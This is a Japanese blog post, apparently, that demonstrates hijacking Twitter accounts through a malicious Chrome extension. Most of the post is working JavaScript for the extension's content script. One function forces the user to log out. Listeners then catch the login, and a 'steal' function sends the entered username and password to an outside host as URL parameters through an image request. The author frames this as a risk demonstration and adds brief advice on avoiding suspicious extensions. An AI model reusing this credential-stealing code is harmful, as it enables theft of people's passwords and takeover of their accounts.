はじめに
前にChrome拡張のマルウェア疑惑で話題になっていたので、今更ですが、その危険性を試してみました。
悪用はしないでください。
Chrome拡張を用いたTwitterアカウントの奪取
身近なTwitterアカウントの奪取を試します。
詳細は書きませんがmanifest.json
のcontent_scripts
を使います。
アカウントを取る方法は、対象ユーザがログインした瞬間を狙います。
ですが、すでにログインしている可能性が高いので下記のようなコードで強制ログアウトさせます。
/**
* twitterを強制ログアウト
*/
function logout() {
var signout_btn = document.querySelector('#signout-button .dropdown-link')
if(signout_btn)
signout_btn.click()
}
ログアウトさせたら、ログインの瞬間発火するイベントにコールバック関数を登録します。
steal
関数は、テキストボックスの値(user_id & password)を取得し、指定のwebサーバにリクエストを送っています。
/**
* アカウントの奪取を待機
*/
function listen() {
var submit = document.querySelector('.submit')
, id = document.getElementsByName('session[username_or_email]')[0]
, passwd = document.getElementsByName('session[password]')[0]
submit.addEventListener('click', steal, false)
id.addEventListener('keydown', function(e) {
if(e.keyCode === 13)
steal()
}, false)
passwd.addEventListener('keydown', function(e) {
if(e.keyCode === 13)
steal()
}, false)
}
/**
* アカウントの奪取
*/
function steal() {
var id = document.getElementsByName('session[username_or_email]')[0]
, passwd = document.getElementsByName('session[password]')[0]
id = id.value
passwd = passwd.value
var img = new Image()
img.src = host + '?id=' + id + '&passwd=' + passwd
// cookie書き込み
var expire = new Date();
expire.setTime(expire.getTime() + 1000 * 3600 * 24);
document.cookie = 'hack=hack; expires=' + expire.toUTCString();
}
今回は、PHPのビルドインサーバーをwebサーバーとします。
対象ユーザがログインすると、ユーザIDとパスワードがGETパラメータとして送られてきます。

とても簡単なステップでアカウントの奪取ができました。
対象のユーザにChrome拡張をインストールさえ、させることができればやりたい放題できそうですね。
実際には、ここから難読化とかするんでしょうが、今回は自身で試すだけなのでやりません。
さいごに
怪しいChrome拡張をインストールしないようにする対策としては、怪しい権限を要求するものはインストールしないとか実際にコードを読むとかでしょうか...
なんども言いますが、今回は危険性を試す為のものなので悪用はしないでください。
manifest.jsonなどは排除していますが、今回のコードは
https://github.com/yuki540net/chrome-extension-security
にあります。
コードを確認したい場合はご覧ください。